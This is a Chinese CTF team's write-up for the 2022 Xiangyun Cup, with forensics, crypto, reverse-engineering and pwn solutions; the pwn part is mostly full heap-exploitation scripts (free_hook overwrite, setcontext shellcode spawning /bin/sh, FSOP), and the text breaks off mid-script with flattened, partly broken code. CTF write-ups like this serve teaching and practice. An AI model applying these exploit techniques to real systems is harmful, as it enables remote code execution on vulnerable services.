2022 第三届祥云杯 writeup by Arr3stY0u

admin 2022年11月2日10:35:57评论518 views字数 52978阅读176分35秒阅读模式
2022 第三届祥云杯 writeup by Arr3stY0u

点击蓝字,关注我们吧!

2022 第三届祥云杯 writeup by Arr3stY0u

2022 第三届“祥云杯” writeup by Arr3stY0u


Header


招野生web师傅(要求大二及以下,能力强者可放宽,PHP/Java/Python/Go/NodeJs)。

招野生pwn(要求大二及以下,能力强者可放宽,栈必须掌握,堆也得会做,kernel不强求)。

招野生misc师傅(要求大二及以下,能力强者可放宽,电子取证/数据分析/基本的misc解题技术)

招新&合作联系方式在文末;部分题目附件下载地址请后台回复:xyb2022-1

2022 第三届祥云杯 writeup by Arr3stY0u

MISC


strange_forensics:

先无脑 strings 一个个试过去 可以得到 flag3,Ux_forEnsIcs_MASTER

2022 第三届“祥云杯” writeup by Arr3stY0u

直接 vol 跑不出来,识别不到 profile

strings 1.mem | grep "Linux version"先查看一下 linux 版本是 Ubuntu18.04.1,内核是 5.4.0-84-g

2022 第三届“祥云杯” writeup by Arr3stY0u

参考[(17 条消息) 制作 Linux 内存镜像+制作对应的 volatility profile_shu 天的博客-CSDN 博

客 _ 内存镜像 ](https://blog.csdn.net/weixin_46081055/article/details/121897319) 做一下

profile,扔进 volatility/volatility/plugins/overlays/linux,成功识别到内存对应的 profile

ps:这里 linux 的 volatility 出了点问题,换成 windows 下了

2022 第三届“祥云杯” writeup by Arr3stY0u

提取一下 shadow,用 hashcat 直接跑,得到第一段 flag

bob:$1$C5/bIl1n$9l5plqPKK4DjjqpGHz46Y/:19283:0:99999:7:::

2022 第三届“祥云杯” writeup by Arr3stY0u

find_file 不知道为什么报错了,用 lsof 看到 secret.zip

2022 第三届“祥云杯” writeup by Arr3stY0u

提取出来发现压缩包数据错误,crc 爆破无果想到之前比赛的思路改一下加密位,爆破一下。

2022 第三届“祥云杯” writeup by Arr3stY0u

2022 第三届“祥云杯” writeup by Arr3stY0u

得到 flag2,_y0u_Ar3_tHe_Lin

最终 flag,flag{890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER}

2022 第三届祥云杯 writeup by Arr3stY0u



CRYPTO


babyDLP:

原题,找个脚本直接跑

from pwn import *from sage import *from Crypto.Util.number import *context.proxy = 'localhost'class Gao: def __init__(self): # self.conn = process(['python3', 'another.py']) self.conn = remote('101.201.71.136', 38476) self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1 self.s_high = 1 self.Zp = Zmod(self.p) def gao_check(self): self.conn.sendline('T') ans = self.Zp(4).nth_root(self.s_high) print('Guessing: {}'.format(ans)) self.conn.sendline(str(ans)) self.conn.recvuntil('integer: n') a = self.conn.recvline() if ('Great!' in a): print(a) print(ZZ(ans).nbits()) return True else: return False def gao_one(self): self.conn.sendline('T') ans = self.Zp(2).nth_root(self.s_high) self.conn.sendline(str(ans)) self.conn.recvuntil('integer: n') a = self.conn.recvline() if ('Great!' in a): print(a) print(ZZ(ans).nbits()) return True else: a = a[8:] t, r = eval(a) self.s_high <<= 1 if (t == 0): self.s_high |= 1 self.t = 1 - t print('{:b}'.format(self.s_high)) return False def gao(self): while (True): if (self.gao_one()): break if (self.t == 1): if (self.gao_check()): break def gao_2(self): for i in range(1023): if (self.gao_one()): break else: for i in range(20): self.gao_check() self.s_high >>= 1if __name__ == '__main__': g = Gao() g.gao_2()


common_rsa:

直接分解n再解rsa

n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519p=21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587q=n//pimport gmpy2from Crypto.Util.number import *d=gmpy2.invert(e,(p-1)*(q-1))m=pow(c,d,n)from Crypto.Util.number import *print(long_to_bytes(m))


tracing:

直接逆着跑一遍还原

from Crypto.Util.number import *c=64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102n=113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301e=65537f=open('trace.out','rb').read()b=0a=1def isOdd(a): return a & 1 == 1def rshift1(a): return a << 1def lshift(a, s): return a >> sfor i in range(len(f)): if (b'a, b = b, a' in f[i]): a, b = b, a if (b'a = rshift1(a)' in f[i]): a=rshift1(a) if (b'b = rshift1(b)' in f[i]): b=rshift1(b) if (b'a = a - b' in f[i]): a = a + bd=inverse(65537,a)m=pow(c,d,n)print(long_to_bytes(m))


fill:

先解lcg,再解一个背包

from hashlib import sha256import gmpy2S=492226042629702s=[562734112,859151551,741682801]M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]n = 991125622m=(s[2]-s[1])*gmpy2.invert((s[1]-s[0]),n)%nc=(s[1]-m*s[0])%nfor i in range(3, 32): s.append((s[i-1]*m+c)%n)for t in range(32): M[t] = M[t] - s[t]A = Matrix(ZZ, 32, 32)for i in range(n): A[i, i] = 1for i in range(n): A[i, n] = M[i]A[n, n] = -cres = A.LLL()#print(res)

little little fermat:

n 直接分解,使用费马小定律求 x

from Crypto.Util.number import *import gmpy2n = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883e=65537q=11887853772894265642834649929578157180848240939084164222334476057487485972806971092902627112665734648016476153593841839977704512156756634066593725142934001p=n//qx=q-1x=(x**2)assert (pow(114514,x,q)==1)d=inverse(e,(p-1)*(q-1))m=pow(c,d,n)flag=m^xprint(long_to_bytes(flag))
2022 第三届祥云杯 writeup by Arr3stY0u

PWN


两个分少的pwn一个都没做出来......如果有打野的pwn师傅做出来了的话可以免试加入我们战队,直接后台留言即可(非预期除外)。


bitheap:

from pwncli import *cli_script()set_remote_libc('libc-2.27.so')io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef cmd(i, prompt="Your choice: "): sla(prompt, i)def add(i, sz): cmd('1') sla("Index: ", str(i)) sla("Size: ", str(sz))def edit(i, data): cmd('2') sla("Index: ", str(i)) sa("Content: ", data)def show(i): cmd('3') sla("Index: ", str(i))def dele(i): cmd('4') sla("Index: ", str(i))def int2bin_str(x): return bin(x)[2:].zfill(64)[::-1]for i in range(10): add(i, 0xf0)add(10, 0x200)add(11, 0x200)dele(11)dele(10)add(10, 0x200)show(10)ru("Content: ")m = rl()heapaddr = u64_ex(m[:-1])leak("heapaddr", heapaddr)for i in range(7): dele(i+3)dele(1)add(1, 0x78)show(1)lbaddr = recv_current_libc_addr()lb = set_current_libc_base_and_log(lbaddr, 0x3ebd90)add(3, 0x78)edit(3, 0x70 * 8 * "a" + int2bin_str(0x200) + "0")dele(0)dele(2)dele(1)add(0, 0x110)edit(0, b"a" * 0x100 * 8 + int2bin_str(libc.sym.__free_hook).encode())add(1, 0x78)add(2, 0x78)add(11, 0x200)layout = { 0: heapaddr+0x100, 0xa0: heapaddr, 0xa8: libc.sym.mprotect, 0x68: heapaddr & ~0xfff, 0x70: 0x4000, 0x88: 7, 0x100: asm( shellcraft.amd64.linux.mmap_rwx(address=0x400000) + shellcraft.amd64.memcpy(0x400800, heapaddr+0x180, 0x20) ) + asm(""" xor esp, esp mov rsp, 0x400100 mov eax, 0x23 mov [rsp+4], eax mov eax, 0x400800 mov [rsp], eax retf """), 0x180: ShellcodeMall.i386.execve_bin_sh}pl = flat(layout, filler="x90")last = ""for x in range(0, len(pl), 8): last += int2bin_str(u64_ex(pl[x:x+8]))edit(11, last)edit(2, int2bin_str(libc.sym.setcontext+53).encode())dele(11)sleep(0.2)sl("cat flag")ia()


leak:

from pwncli import *cli_script()set_remote_libc('libc-2.27.so')io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc@stopwatch(2)def cmd(i, prompt="Your choice: "): sla(prompt, i)def add(i, sz): cmd('1') sla("Index: ", str(i)) sla("Size: ", str(sz))def edit(i, data): cmd('2') sla("Index: ", str(i)) sa("Content: ", data)def dele(i): cmd('3') sla("Index: ", str(i))@smart_enumerate_attack(loop_time=16)def exp(): add(0, 0x80) add(1, 0x20) for i in range(8): edit(0, flat(0, 0)) dele(0) add(2, 0x20) if gift.debug: off = gift._libc_base + 0x3ed940 # global_max_fast else: off = 0x6940 off &= 0xffff edit(2, p16(off)) add(3, 0x80) add(4, 0x80) dele(2) edit(2, flat(0, 0)) dele(2) edit(2, "x40") add(5, 0x20) add(6, 0x20) edit(6, flat(0, 0x1181)) dele(2) edit(2, flat(0, 0)) dele(2) edit(2, "x50") add(7, 0x20) add(8, 0x20) # **** to free edit(8, flat(0, 0x41)) add(9, 0x2000) edit(9, flat({0x1060:[0, 0x21, 0, 0]*3})) dele(9) add(10, 0x200) edit(4, flat(0x1200)) # global_max_fast dele(8) edit(6, "a"*0x20) edit(9, b"a"*0x208+p32(0x11)) add(11, 0x2000) m = ra(timeout=3) if b"flag" in m or b"FLAG" in m or b"{" in m: print(m) raise PwncliExit() else: raise OSError() ia()exp()


queue:

import functoolsfrom pwncli import *cli_script()set_remote_libc('libc-2.27.so')io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef show_name(func): @functools.wraps(func) def war(*args, **kwargs): log_ex("call func: {}, args: {} {}".format(func.__name__, args, kwargs)) res = func(*args, **kwargs) return res return wardef cmd(i, prompt="Queue Management: "): sla(prompt, i)def add(sz): cmd('1') sla("Size: ", str(sz))def edit(i1, i2, num): cmd('2') sla("Index: ", str(i1)) sla("Value idx: ", str(i2)) sla("Value: ", str(num))def show(i, num): cmd('3') sla("Index: ", str(i)) sla("Num: ", str(num)) ru("Content: ")def dele(): cmd('4')def gift_(i, data): cmd('666') sla("Index: ", str(i)) sa("Content: ", data)add(0x100)gift_(0, flat(0, 0, "x88"))show(0, 0x8)msg = rs(8)heapaddr = u64_ex(bytes.fromhex(b"".join(msg).decode()))leak("heapaddr", heapaddr)# gift_(0, flat(0, 0, heapaddr+0x1000, heapaddr+0x1000))# edit(0, 0, 0xff)for i in range(7): add(0x100)for i in range(6): dele()gift_(0, flat(0, 0, heapaddr+0x1a50))show(0, 0x8)msg = rs(8)libcaddr = u64_ex(bytes.fromhex(b"".join(msg).decode()))leak("libcaddr", libcaddr)set_current_libc_base_and_log(libcaddr, 0x3ebca0)gift_(0, flat(0, 0, libc.sym.__free_hook, libc.sym.__free_hook))for i,x in enumerate(p64_ex(libc.sym.system)): edit(0, i, x)gift_(0, flat(0, 0, heapaddr+0x17f0, heapaddr+0x17f0))for i,x in enumerate(b"/bin/shx00"): edit(0, i, x)dele()sleep(0.1)sl("cat flag")ia()


sandboxheap:

from pwncli import *cli_script()set_remote_libc('libc-2.27.so')io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef cmd(i, prompt="Your choice: "): sla(prompt, i)def add(i, sz): cmd('1') sla("Index: ", str(i)) sla("Size: ", str(sz))def edit(i, data): cmd('2') sla("Index: ", str(i)) sa("Content: ", data)def show(i): cmd('3') sla("Index: ", str(i))def dele(i): cmd('4') sla("Index: ", str(i))def int2bin_str(x): return bin(x)[2:].zfill(64)[::-1]for i in range(10): add(i, 0xf0)add(10, 0x200)add(11, 0x200)dele(11)dele(10)add(10, 0x200)show(10)ru("Content: ")m = rl()heapaddr = u64_ex(m[:-1])leak("heapaddr", heapaddr)for i in range(7): dele(i+3)dele(1)add(1, 0x78)show(1)lbaddr = recv_current_libc_addr()lb = set_current_libc_base_and_log(lbaddr, 0x3ebd90)add(3, 0x78)edit(3, 0x70 * 8 * "a" + int2bin_str(0x200) + "0")dele(0)dele(2)dele(1)add(0, 0x110)edit(0, b"a" * 0x100 * 8 + int2bin_str(libc.sym.__free_hook).encode())add(1, 0x78)add(2, 0x78)add(11, 0x200)layout = { 0: heapaddr+0x100, 0xa0: heapaddr, 0xa8: libc.sym.mprotect, 0x68: heapaddr & ~0xfff, 0x70: 0x4000, 0x88: 7, 0x100: asm( shellcraft.amd64.linux.mmap_rwx(address=0x400000) + shellcraft.amd64.memcpy(0x400800, heapaddr+0x180, 0x20) ) + asm(""" xor esp, esp mov rsp, 0x400100 mov eax, 0x23 mov [rsp+4], eax mov eax, 0x400800 mov [rsp], eax retf """), 0x180: ShellcodeMall.i386.execve_bin_sh}pl = flat(layout, filler="x90")last = ""for x in range(0, len(pl), 8): last += int2bin_str(u64_ex(pl[x:x+8]))edit(11, last)edit(2, int2bin_str(libc.sym.setcontext+53).encode())dele(11)sleep(0.2)sl("cat flag")ia()


xpp:

这个比赛中途没时间做了,结束后做出来的,exp也给大家吧。

from pwncli import *cli_script()set_remote_libc('libc.so.6')
io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc
# 0xe0f0# 平衡二叉树"""struct Note { Note * left; Note * right; char *data; int depth;}"""
def cmd(i, prompt="5. Exitn"): sla(prompt, i)
def add(data): cmd('1') sla("Content: ", data) ru("Your key: ") m = rl(timeout=1) if m: return int_ex(m[:-1])
def show(key): cmd('2') sla("Key: ", str(key))
def dele(key): cmd('3') sla("Key: ", str(key))
def edit(key, data): cmd('4') sla("Key: ", str(key)) msg = rn(6) # print(msg) if b"New" in msg: sl(data)
add("x01")dele(1)heapaddr1 = add("x01")leak("heapaddr1", heapaddr1)
add("x02")add("x03")dele(1)dele(2)dele(3)heapaddr2 = add("x01")leak("heapaddr2", heapaddr2)
x1 = (heapaddr1 & 0xffff) >> 8x2 = (heapaddr2 & 0xffff) >> 8x = (x1 ^ x2) >> 4x1 = (heapaddr1 & 0xffffff) >> 16x2 = (heapaddr2 & 0xffffff) >> 16y = ((x1 ^ x2) & 0xf) << 4
z = x + yheapbase = (heapaddr1 &~0xff) + zheapbase <<= 12log_heap_base_addr(heapbase)dele(heapaddr1)dele(heapaddr2)
# =================add("x22"*0x60)add("x22"*0x60)add("x22"*0x60)add("x21"*0x60)add("x21"*0x60)add("x21"*0x60)add("x21"*0x60)add("x21"*0x60)add("x21"*0x60)add("x21"*0x60)add("x21"*0x60)add("x22"*0x60)add("x22"*0x60)add("x21"*0x60)add("x22"*0x60)add("x22"*0x60)add("x23"*0x60)add("x24"*0x60)add("x25"*0x60)
dele(u64("x21"*8))dele(u64("x22"*8))dele(u64("x21"*8))dele(u64("x22"*8))
dele(u64("x22"*8))dele(u64("x22"*8))dele(u64("x23"*8))dele(u64("x24"*8))dele(u64("x25"*8))
for i in range(0x40, 0x48): add(p8(i)*0x1e0)
add("a"*0xf0)
for i in range(0x40, 0x48): dele(u64(p8(i)*8))
for i in range(0x40, 0x4b): add(p8(i)*8)
lb = add(p8(0xf0)) - 0x219cf0log_libc_base_addr(lb)libc.address = lb

for i in range(0x50, 0x58): add(p8(i)*0x60)
for i in range(0x70, 0x74): add(p8(i)*0x60)
dele(u64("x71"*8))edit(u64("x72"*8), p64(((heapbase+0x1150)>>12) ^ (libc.sym._IO_2_1_stderr_+0x80)))
add(p8(0x74)*0x60)
add(p8(0x75)*0x58 + p64(heapbase+0x2230)[:6])
data = flat_z({ 0: " sh", 0x28: 1, 0x88: libc.sym._IO_2_1_stderr_-0x10, 0xa0: libc.sym._IO_2_1_stderr_-0x48, 0x98: libc.sym._IO_2_1_stderr_-0x20, 0x48: libc.sym.system, 0xd8: p64(libc.sym._IO_wfile_jumps)[:6]})
edit(u64("x75"*8), data[0x80:])
dele(u64("x74"*8))edit(u64("x73"*8), p64(((heapbase+0x1150)>>12) ^ (libc.sym._IO_2_1_stderr_)))
add(p8(0x76)*0x60)
add(p8(0x77)*0x60)edit(u64("x77"*8), data[:0x60])
cmd('5')sleep(1)sl("cat /flag")
ia()
2022 第三届祥云杯 writeup by Arr3stY0u

REVERSE


GetTheCorrectKey:

解密文本

s = [(118788, 53, 4),(118800, 245, 20),(118821, 214, 15),(118837, 40, 5),(118848, 79, 24),(118880, 225, 25),(118906, 180, 4),(118912, 22, 21),(118944, 17, 26),(118976, 156, 21),(119008, 113, 30),(119039, 116, 14),(119056, 240, 27),(119088, 166, 16),(119120, 52, 19),(119140, 28, 3),(119144, 227, 15),(119160, 146, 1),(119162, 130, 9),(119184, 207, 17),(119216, 143, 37),(119254, 244, 14),(119280, 194, 20),(119312, 61, 22),(119335, 10, 5),(119344, 56, 22),(119376, 147, 28),(119408, 227, 19),(119440, 25, 25),(119496, 60, 9),(119520, 139, 36),(119568, 79, 32),(119601, 213, 6),(119616, 230, 61),(119678, 198, 10),(119696, 201, 39),(119736, 93, 9),(119746, 236, 3),(119750, 242, 4),(119760, 101, 41),(119808, 107, 19),(119828, 98, 4),(119833, 71, 7),(119856, 3, 19),(119876, 123, 8),(119888, 47, 24),(119913, 184, 3),(119920, 63, 25),(119946, 140, 8),(119968, 58, 20),(120000, 110, 37),(120038, 40, 15),(120054, 208, 14),(120080, 186, 25),(120112, 131, 29),(120142, 123, 8),(120160, 153, 27),(120192, 165, 25),(120218, 198, 11),(120240, 69, 36),(120288, 185, 36),(120325, 131, 6),(120336, 39, 47),(120384, 224, 19),(120404, 227, 3),(120416, 239, 21),(120438, 202, 7),(120448, 106, 21),(120470, 253, 3),(120480, 9, 0x18)]for ea, key, size in s: b = bytearray(ida_bytes.get_bytes(ea, size+1)) for i in range(len(b)): b[i] ^= key print(hex(ea), b) ida_bytes.patch_bytes(ea, bytes(b))

解密SMC

s = [(0x9994+31, 0x12, 287-31)]for ea, key, size in s: b = bytearray(ida_bytes.get_bytes(ea, size+1)) for i in range(len(b)): b[i] ^= key ida_bytes.patch_bytes(ea, bytes(b))

逆向xxxxx函数

char *__fastcall xxxxx(JNIEnv *a1){ // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] v1 = SMC(); *(_BYTE *)(2 * (_DWORD)v1) = (_BYTE)v1; Class = FindClass(a1, (int)aAndroidAppActi); v55 = sub_A060(a1, Class, asc_1D230, aLandroidAppAct_0); FieldID = GetFieldID(a1, (int)Class, (int)aMinitialapplic, (int)aLandroidAppApp_0); v53 = sub_A0F0((int)a1, (int)Class, v55); ObjectField = GetObjectField(a1, v53, (int)FieldID); v51 = FindClass(a1, (int)aAndroidAppAppl); getAssets = GetMethodID(a1, (int)v51, aGetassets, aLandroidConten_0); v49 = CallObjectMethodV(a1, ObjectField, getAssets); v48 = FindClass(a1, (int)aAndroidContent); openFd = GetMethodID(a1, (int)v48, aOpenfd, aLjavaLangStrin_0); v46 = NewStringUTF(a1, (int)aWhoamiBin); v45 = CallObjectMethodV(a1, v49, openFd, v46); v44 = FindClass(a1, (int)aAndroidContent_0); getLength = GetMethodID(a1, (int)v44, aGetlength, aJ); size = CallLongMethodV(a1, (int)v45, (int)getLength); open = GetMethodID(a1, (int)v48, aOpen, aLjavaLangStrin_1); v40 = CallObjectMethodV(a1, v49, open, v46); v39 = NewByteArray(a1, size); v38 = FindClass(a1, (int)aJavaIoInputstr); read = GetMethodID(a1, (int)v38, aRead, aBiiI); v36 = CallIntMethodV(a1, (int)v40, (int)read, v39, 0, size); ptr = malloc(size); if ( v36 >= 1 ) GetByteArrayRegion(a1, (int)v39, 0, size, (int)ptr); for ( i = 0; i <= 31; ++i ) ptr[i] ^= 0x56u; for ( j = 32; j < size; ++j ) ptr[j] ^= 0x78u; SetByteArrayRegion(a1, (int)v39, 0, size, (int)ptr); if ( ptr ) free(ptr); v32 = FindClass(a1, (int)aJavaNioBytebuf); StaticMethodID = GetStaticMethodID(a1, (int)v32, (int)aAllocate, (int)aILjavaNioByteb); v30 = (void *)sub_8FA0(a1, v32, StaticMethodID); MethodID = GetMethodID(a1, (int)v32, aPut, aBLjavaNioByteb); v28 = GetMethodID(a1, (int)v32, aPosition, aILjavaNioBuffe); CallObjectMethodV(a1, v30, MethodID, v39); CallObjectMethodV(a1, v30, v28, 0); v27 = FindClass(a1, (int)aComCtfGettheco); v26 = FindClass(a1, (int)aJavaLangClass); v25 = GetMethodID(a1, (int)v26, aGetclassloader, aLjavaLangClass); v24 = CallObjectMethodV(a1, v27, v25); v23 = FindClass(a1, (int)aDalvikSystemPa); v22 = GetFieldID(a1, (int)v23, (int)aPathlist, (int)aLdalvikSystemD); v21 = FindClass(a1, (int)aDalvikSystemDe); v20 = GetFieldID(a1, (int)v21, (int)aDexelements, (int)aLdalvikSystemD_0); v19 = FindClass(a1, (int)aDalvikSystemIn); v18 = GetMethodID(a1, (int)v19, aInit, aLjavaNioBytebu); v17 = NewObjectV(a1, (int)v19, (int)v18, v30, v24); v16 = GetObjectField(a1, (int)v17, (int)v22); v15 = GetObjectField(a1, (int)v16, (int)v20); v14 = GetObjectField(a1, (int)v24, (int)v22); v13 = GetObjectField(a1, (int)v14, (int)v20); v12 = FindClass(a1, (int)aJavaUtilArrayl); v11 = GetMethodID(a1, (int)v12, aAdd, aLjavaLangObjec); v10 = GetMethodID(a1, (int)v12, aToarray, aLjavaLangObjec_0); v9 = GetMethodID(a1, (int)v12, aInit, aV); v8 = NewObjectV(a1, (int)v12, (int)v9); for ( k = 0; k < GetArrayLength(a1, (int)v15); ++k ) { ObjectArrayElement = GetObjectArrayElement(a1, (int)v15, k); CallBooleanMethodV(a1, (int)v8, (int)v11, ObjectArrayElement); } for ( m = 0; m < GetArrayLength(a1, (int)v13); ++m ) { v4 = GetObjectArrayElement(a1, (int)v13, m); CallBooleanMethodV(a1, (int)v8, (int)v11, v4); } v3 = CallObjectMethodV(a1, v8, v10); SetObjectField(a1, (int)v14, (int)v20, (int)v3); return SMC();}

其实主要逻辑就是读取 whoami.bin 解密并作为 dex 加载

解密 dex

a = bytearray(open('./whoami.bin', 'rb').read())for i in range(0, 32): a[i] ^= 0x56for i in range(32, len(a)): a[i] ^= 0x78open('./whoami_dec.dex', 'wb').write(a)

dex 部分反编译代码:

public class GodBlessYou { private static int w = 32; private static int r = 20; private static int Pw = -1209970333; private static int Qw = -1640531527; private static int[] S = new int[(20 * 2) + 4]; public static final char[] ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz".toCharArray(); private static final int[] INDEXES = new int[128];// 太长不放了 public static boolean check(String content) { if (content != null && content.length() == 16) { try { byte[] cipherText = encryptBlock(content.getBytes(), "tryyourbest!@#$%".getBytes()); String result = base58(cipherText); if (result.equals("QRWfeKdmtG5dzRuR3ZRxv5")) { return true; } return false; } catch (Exception e) { return false; } } return false; }}

通过常量可以判断是 RC6 和 base58

在线网站解得 flag

2022 第三届“祥云杯” writeup by Arr3stY0u


matrix:

反编译脚本

import structpc = 0code = bytes.fromhex('001D1808831808002020001D18088319202483281D001D1880332820001D18803319B023331808000F20001D18803319B823331808001420001D18803319C02333180400241AFFFFFFFF3B20001D18803319C82333180400281AFFFFFFFF3B20001D18803319C82333180408280518072841001D18803319C823331804082842001D18803319C023331804082843001D18803319C82333180408001D18803319C0233318040840041A07000000E01AC7070000B018072841002019C02333180408284218302843002019C02333180408183040041A07000000E01A9B070000B00020199C233318041800201A49050000B000201998233318041800201AC1040000B000201994233318041800201A927E4000284400201990233318041800201A9F030000B00020198C233318041800201A17030000B00020199C233318040828140020199023331804080020199C2333180408322805180728410020199023331804080020199C2333180408322842002019C0233318040828430020199023331804080020199C233318040832002019C0233318040840021A07000000E01A77020000B000201998233318040828140020198C2333180408002019982333180408322805180728410020198C2333180408002019982333180408322842002019C0233318040828430020198C233318040800201998233318040832002019C0233318040840021A07000000E01A09020000B0002019B023331808080020198C2333180408002019C023331804080020199023331804080020199C2333180408325A000020199823331804083232C2011802733318040828140020198C2333180408002019C823331804080020199023331804085A0032C201180273280F002019B023331808080020198C2333180408002019C023331804080020199023331804080020199C2333180408325A000020199823331804083232C20118027333180408002019B823331808080020198C2333180408002019C823331804080020199023331804085A0032C201180273331804085A0028051A4D7F40002844002019942333180408D201002019B023331808080020198C2333180408002019C023331804080020199023331804080020199C2333180408325A000020199823331804083232C20118027333180408002019B823331808080020198C2333180408002019C823331804080020199023331804085A0032C201180273331804085A00D2020020199423331804002019942333180408002019B023331808080020198C2333180408002019C023331804080020199023331804080020199C2333180408325A000020199823331804083232C20118027333180408002019B823331808080020198C2333180408002019C823331804080020199023331804085A0032C201180273331804085A00322018032841DA2B2842DA9428431A01000000B00020198C2333180408D2030020198C233318040020198C23331804081801322018032841DA022842180128431A01000000B00020198C23331804082805180728410020198C23331804082842002019C8233318040828430020198C2333180408002019C8233318040840021AACFCFFFFE01A01000000B0002019902333180408D20300201990233318040020199023331804081801322018032841DA022842180128431A01000000B00020199023331804082805180728410020199023331804082842002019C823331804082843002019902333180408002019C8233318040840021A24FCFFFFE01A01000000B0002019982333180408C201280F0020199C2333180408C2011801730020199C2333180408C20133180473002019982333180408C201332814002019942333180408280500200020199C2333180408C2011801730020199C2333180408C20133180473002019982333180408C20133180273331880831804002019942333180408201AB27F40002844002019982333180408D20400201998233318040020199823331804081801322018032841DA142842180128431A01000000B00020199823331804082805180728410020199823331804082842002019C023331804082843002019982333180408002019C0233318040840021A02FBFFFFE01A01000000B00020199C2333180408D2030020199C233318040020199C23331804081801322018032841DA022842180128431A01000000B00020199C23331804082805180728410020199C23331804082842002019C0233318040828430020199C2333180408002019C0233318040840021A7AFAFFFFE01A01000000B000201988233318041800201AA7010000B000201984233318041800201A1F010000B0002019842333180408002019C023331804080020198823331804085A0032C201180273002019B0233318080833280F002019842333180408C2012824002019882333180408C20128140020002019882333180408C201180173002019882333180408C20133180473002019842333180408C20133180273331880831804082805002019842333180408002019C023331804080020198823331804085A0032C201180273002019B023331808083318040020002019882333180408C201180173002019882333180408C20133180473002019842333180408C2013318027333188083180408201A508040002844002019842333180408D20500201984233318040020198423331804081801322018032841DA222842180128431A01000000B00020198423331804082805180728410020198423331804082842002019C023331804082843002019842333180408002019C0233318040840021AA4FEFFFFE01A01000000B0002019882333180408D20300201988233318040020198823331804081801322018032841DA022842180128431A01000000B00020198823331804082805180728410020198823331804082842002019C023331804082843002019882333180408002019C0233318040840021A1CFEFFFFE01A01000000B018042841001D28421920242843001D1920243318080828201A868040002844001D19202433180833180833281DA0')def fetch(): global pc v = code[pc] pc += 1 return vdef fetch2(): global pc v = struct.unpack_from('<H', code, pc)[0] pc += 2 return vdef fetch4(): global pc v = struct.unpack_from('<I', code, pc)[0] pc += 4 return vdef fetch8(): global pc v = struct.unpack_from('<Q', code, pc)[0] pc += 8 return vcmp_types = [ '==', '!=', '<', '>=', '<=', '>', '<s', '>=s', '<=s', '>s']# x86_regs = [# 'rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'rsp', 'rbp',# 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15',# 'rip', 'r17', 'r18', 'r19'# ]x86_regs = { 5: 'rax', 15: 'rcx', 20: 'rdx', 29: 'rsp', 32: 'rbp', 36: 'r8', 40: 'r9', 65: 'r17', 66: 'r18', 67: 'r19', 68: 'rip',}def vm_parse(): global pc pc = 0 vm_stack = [] vm_regs = [0]*8 labels = set() while pc < len(code): if pc in labels: print() print(f'L{pc:04X}: ', end='') opcode = fetch() match opcode: case 224: target = (pc-1+vm_stack.pop())&0xFFFFFFFF labels.add(target) print(f'if (xf) goto_fixme L{target:04X};') case 176: target = (pc-1+vm_stack.pop())&0xFFFFFFFF labels.add(target) print(f'goto_fixme L{target:04X};') case 8: print(f'load();', end='') case 32: print(f'memcpy();', end='') case 0: off = fetch() reg = x86_regs[off] print(f'read_x86reg({reg});', end='') case 40: off = fetch() reg = x86_regs[off] print(f'write_x86reg({reg});', end='') case 216: idx = fetch() print(f'push_reg1(tmp_{idx});', end='') case 217: idx = fetch() print(f'push_reg2(tmp_{idx});', end='') case 218: idx = fetch() print(f'push_reg4(tmp_{idx});', end='') case 219: idx = fetch() print(f'push_reg8(tmp_{idx});', end='') case 208: idx = fetch() print(f'tmp_{idx} = pop_reg1();', end='') case 209: idx = fetch() print(f'tmp_{idx} = pop_reg2();', end='') case 210: idx = fetch() print(f'tmp_{idx} = pop_reg4();', end='') case 211: idx = fetch() print(f'tmp_{idx} = pop_reg8();', end='') case 24: imm = fetch() print(f'push_imm1({hex(imm)});', end='') vm_stack.append(imm) case 25: imm = fetch2() print(f'push_imm2({hex(imm)});', end='') vm_stack.append(imm) case 26: imm = fetch4() print(f'push_imm4({hex(imm)});', end='') vm_stack.append(imm) case 27: imm = fetch8() print(f'push_imm8({hex(imm)});', end='') vm_stack.append(imm) # case 28: # imm = fetch16() # print(f'push_imm16({hex(imm)});', end='') case 48: print(f'add1();', 